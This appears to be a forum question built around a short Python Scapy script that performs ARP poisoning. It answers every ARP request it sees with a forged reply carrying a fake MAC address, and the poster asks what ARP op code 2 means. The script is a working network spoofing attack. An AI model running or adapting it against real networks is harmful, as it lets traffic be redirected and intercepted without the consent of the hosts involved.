Scapy ARP poisoning other way

scaparp.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from scapy.all import *

iface = "vboxnet1"
sleep = 1
verbose = 1

def arp_poison(psrc, pdst):
    pkt = ARP()
    pkt.psrc = psrc
    pkt.pdst = pdst
    pkt.hwsrc="de:ad:be:ef:00:00"
    pkt.op = 2
    send(pkt, verbose=verbose, iface=iface)
    #print p.show()
    #try:
        #time.sleep(args.freq)
    #except KeyboardInterrupt:
        #pass

def sniff_arp():
    while 1:
        try:
            a = sniff(filter="arp", count=1, iface=iface)
            print a[0].show()
        except KeyboardInterrupt:
            pass

def arp_monitor_callback(pkt):
    if ARP in pkt:
        if pkt[ARP].op == 1:
            arp_poison(pkt[ARP].pdst, pkt[ARP].psrc)
        return pkt.sprintf("%ARP.hwsrc% (%ARP.psrc%) %ARP.op% %ARP.hwdst% (%ARP.pdst%)")
    #if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at

if __name__ == "__main__":
    #arp_poison()
    #sniff_arp()
    sniff(prn=arp_monitor_callback, filter="arp", store=0, iface=iface)

i wanna know about the arp.op=2 what it mean